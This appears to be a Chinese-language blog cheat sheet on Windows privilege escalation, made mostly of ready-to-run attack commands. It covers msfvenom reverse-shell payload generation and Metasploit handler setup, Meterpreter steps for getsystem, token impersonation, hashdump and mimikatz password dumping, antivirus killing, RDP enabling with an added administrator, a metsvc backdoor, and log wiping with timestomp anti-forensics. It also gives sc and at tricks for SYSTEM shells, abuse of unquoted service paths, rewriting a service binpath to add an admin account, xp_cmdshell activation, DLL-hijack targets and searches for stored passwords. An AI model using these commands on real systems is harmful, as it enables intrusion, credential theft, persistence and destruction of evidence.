windows提权

windows提权

权限等级
1 user
2 administrator
3 system

常用命令

systeminfo | findstr OS #系统版本信息,此处进行了筛选
hostname    #主机名称
whomai  #显示当前用户
quser #获取在线用户
netstat -ano | findstr 3389    #查看机器端口3389占用情况,并获取rdp连接来源IP
dir c:\programdata\ #分析安装杀软即其他软件
wmic qfe get Caption,Description,HotFixID,InstalledOn    #列出已安装的补丁
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber    #获取远程端口
tasklist /svc | find "TermService" + netstat -ano    #显示每个进程中的服务,并获取远程端口
tasklist /m shell32.dll   # 查看调用DLL模块文件的进程列表
taskkill /pid 1132  #终止进程
taskkill /IM notepad.exe #同上
netuser 显示当前系统拥有账号

windows 2003

反弹shell生成:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.114.128 LPORT=4444 -f exe -o payload.exe

反弹shell连接:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp

获取反弹shell后查看权限:

getuid   
getsystem  #win2003下直接获取system权限

绕过UAC策略:

显示所有运行进程以及关联的用户账户,并迁徙到指定进程:

ps

令牌假冒:

use incognito

查看存在的令牌

list_tokens-u

令牌假冒:

impersonate_token HU-7F2870BE8C91\\Administrator

成功之后getuid查看一下就好

获取凭证

run hashdump

加载mimikatz模块:

load mimikatz

获取明文密码:

wdigest

关闭防病毒软件

run killav

run post/windows/manage/killav

操作远程桌面

run post/windows/manage/enable_rdp开启远程桌面

run post/windows/manage/enable_rdp username=test password=test添加远程桌面的用户(同时也会将该用户添加到管理员组)

后门:

run metsvc

命令运行成功后会在C:WindowsTEMP目录下新建随机名称的文件夹,里面生成3个文件(metsvc.dll、metsvc-server.exe、metsvc.exe)。

同时新建一个服务,显示名称为Meterpreter,服务名称为metsvc,启动类型为”自动”,绑定在31337端口。

连接:

使用exploit/multi/handler模块,payload设置为windows/metsvc_bind_tcp,设置目标ip和绑定端口31337

在远程目标主机上添加一个用户。

add_user username password -h ip
后渗透测试

清除目标主机上的日志记录

clearev  

修改文件属性,例如修改文件的创建时间(反取证调差)

timestomp
at提权

适用范围:

Windows2000、Windows 2003、Windows XP   

at 是一个发布定时任务计划的命令行工具,语法比较简单。通过 at 命令发布的定时任务计划, Windows 默认以 SYSTEM 权限运行。定时任务计划可以是批处理、可以是一个二进制文件。类似于查找定时任务进行提权

at 19:43 /interactive cmd  #19.43时打开

此时获取一个system的cmd,利用taskmgr命令调用任务管理器,此时的任务管理器是system权限。

获取system权限的桌面:

利用taskmgr命令调用任务管理器,切换到进程结束explorer进程,再返回应用程序,创建新任务,explorer,此时桌面就会重启,我们得到了一个system权限的桌面。

我们此时定一个定时任务,利用at命令。

at 19:43 /interactive exe程序具体路径

定时之后会返回shell权限的命令行。

sc命令提权
SC 是用于与服务控制管理器和服务进行通信的命令行程序。提供的功能类似于“控制面板”中“管理工具”项中的“服务”。

sc Create syscmd binPath= “cmd /K start” type= own type= interact
sc start systcmd #此时就获取了一个system权限的cmd环境
服务重启提权

当Windows服务运行时,会发生以下两种情况之一。如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行。但是,如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。

like:

C:\Program Files\Some Folder\Service.exe

上式存在空格,那么当系统碰到了这个空格,他会在文件路径下查找所有可能匹配项直到找到一个匹配为止。

C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

所以根据此项:

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """  
#这个命令能够帮助我们列出目标机器上所有没用引号的文件路径

首先我们利用icacls查看文件夹权限

icacls "D:\phpstudy_pro\COM\phpStudyServer.exe"

重启PFnet服务用来反弹我们的shell

sc stop PFNet
sc start PFNet

此时Windows定位并重启了我们的恶意软件弹回了一个具有系统权限的Shell。  

exploit/windows/local/trusted_service_path
关于利用服务进行提权

Windows服务以及我们下载的环境文件等等。

在Windows当中,系统服务具有修改自己属性的能力,操作系统通过Service Control Manager进行控制。假如我们可以修改服务的二进制文件,那么在服务重启后,我们就拥有了一个以SYSTEM权限运行的自己的服务了。

注:AccessChk能够帮助我们查找系统中我们能够修改的服务,即具有写权限。

accesschk.exe -uwcqv "Authenticated Users" * /accepteula   #目标机器执行即可

下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/accesschk

当发现具体服务后,我们使用sc进行查看:

sc qc SERVICE

SC命令是XP系统中功能强大的DOS命令,SC命令能与“服务控制器”和已安装设备进行通讯。SC是用于与服务控制管理器和服务进行通信的命令行程序。

此时我们能发现该服务的二进制文件路径,在binary_path_name,将这个值改为我们需要执行的系统命令,例如添加用户,与添加组。

sc config PFNET binpath= "net user rottenadmin P@ssword123! /add"
sc stop PFNET
sc start PFNET
sc config PFNET binpath= "net localgroup Administrators rottenadmin /add"
sc stop PFNET
sc start PFNET

可能有报错,但是其实是成功的。

关于shell当中命令

添加用户

net user hacker 123 /add

net user hacker /del

添加用户到管理员组:

net localgroup administrator hacker /add

net localgroup administrator hacker /del

win2008

利用xp_cmdshell提权

xpcmdshell是Sql Server中的一个组件,可以用来执行系统命令 在拿到sa口令之后,经常可以通过xpcmdshell来进行提权

确认xp_cmdshell

select count(*) from master.dbo.sysobjects where xtype=‘x‘ and name=‘xp_cmdshell‘

打开xp_cmdshell

EXEC sp_configure ‘show advanced options‘, 1;    #开启改为1,关闭改为0

RECONFIGURE; 

go

EXEC sp_configure ‘xp_cmdshell‘, 1; 

RECONFIGURE; 

go

exec sp_configure 

命令执行:

exec xp_cmdshell “whoami”

当cmd权限不足的时候,即被降权:

启用沙盒模式执行shell命令:

exec master..xp_regwrite ‘HKEY_LOCAL_MACHINE‘,‘SOFTWARE\Microsoft\Jet\4.0\Engines‘,‘SandBoxMode‘,‘REG_DWORD‘,1;
select * from openrowset(‘microsoft.jet.oledb.4.0‘,‘;database=ias\dnary.mdb‘,‘select shell("whoami")‘);

相关实战文章:https://www.freebuf.com/articles/web/10280.html

DLL劫持

动态链接库(DLL)通过提供跨系统共享的可执行代码模块,在操作系统上提供了大量功能。当开发人员未指定DLL的完全限定的绝对路径时,就会出现漏洞。

查找顺序:

32位系统目录(C:\Windows\System32)
16位系统目录(C:\Windows\System)
Windows目录(C:\Windows)
当前工作目录(CWD)
PATH环境变量中的目录(系统路径,然后是用户路径)

一些已知具有DLL劫持漏洞的Windows服务是:

IKE和AuthIP IPsec密钥模块(IKEEXT):wlbsctrl.dll
Windows Media Center接收器服务(ehRecvr):ehETW.dll
Windows Media Center计划程序服务(ehSched):ehETW.dll
自动更新(wuauserv):ifsproxy.dll
远程桌面帮助会话管理器(RDSessMgr):SalemHook.dll
远程访问连接管理器(RasMan):ipbootp.dll
Windows Management Instrumentation(winmgmt):wbemcore.dll
音频服务(STacSV):SFFXComm.dll SFCOM.DLL
英特尔快速存储技术(IAStorDataMgrSvc):DriverSim.dll
Juniper统一网络服务(JuniperAccessService):dsLogService.dll
Encase Enterprise Agent:SDDisk.dll
敏感信息搜集

几个命令:

dir C:\ /s /b /c | findstr /sr \*password\*
findstr /si password \*.txt | \*.xml | \*.ini

查询注册表,例如,字符串password:  

reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

在文件内容中搜索password之类的关键字:

findstr /si password \*.txt | \*.xml | \*.ini  
AlwaysInstallElevated

AlwaysInstallElevated是一种允许非管理用户以SYSTEM权限运行Microsoft Windows安装程序包(.MSI文件)的设置。默认情况下禁用此设置,需系统管理员手动启用他。

查询命令:

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated  

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

windows提权

上一篇:潜谈Restful API


下一篇:Windos/Linux 反弹 shell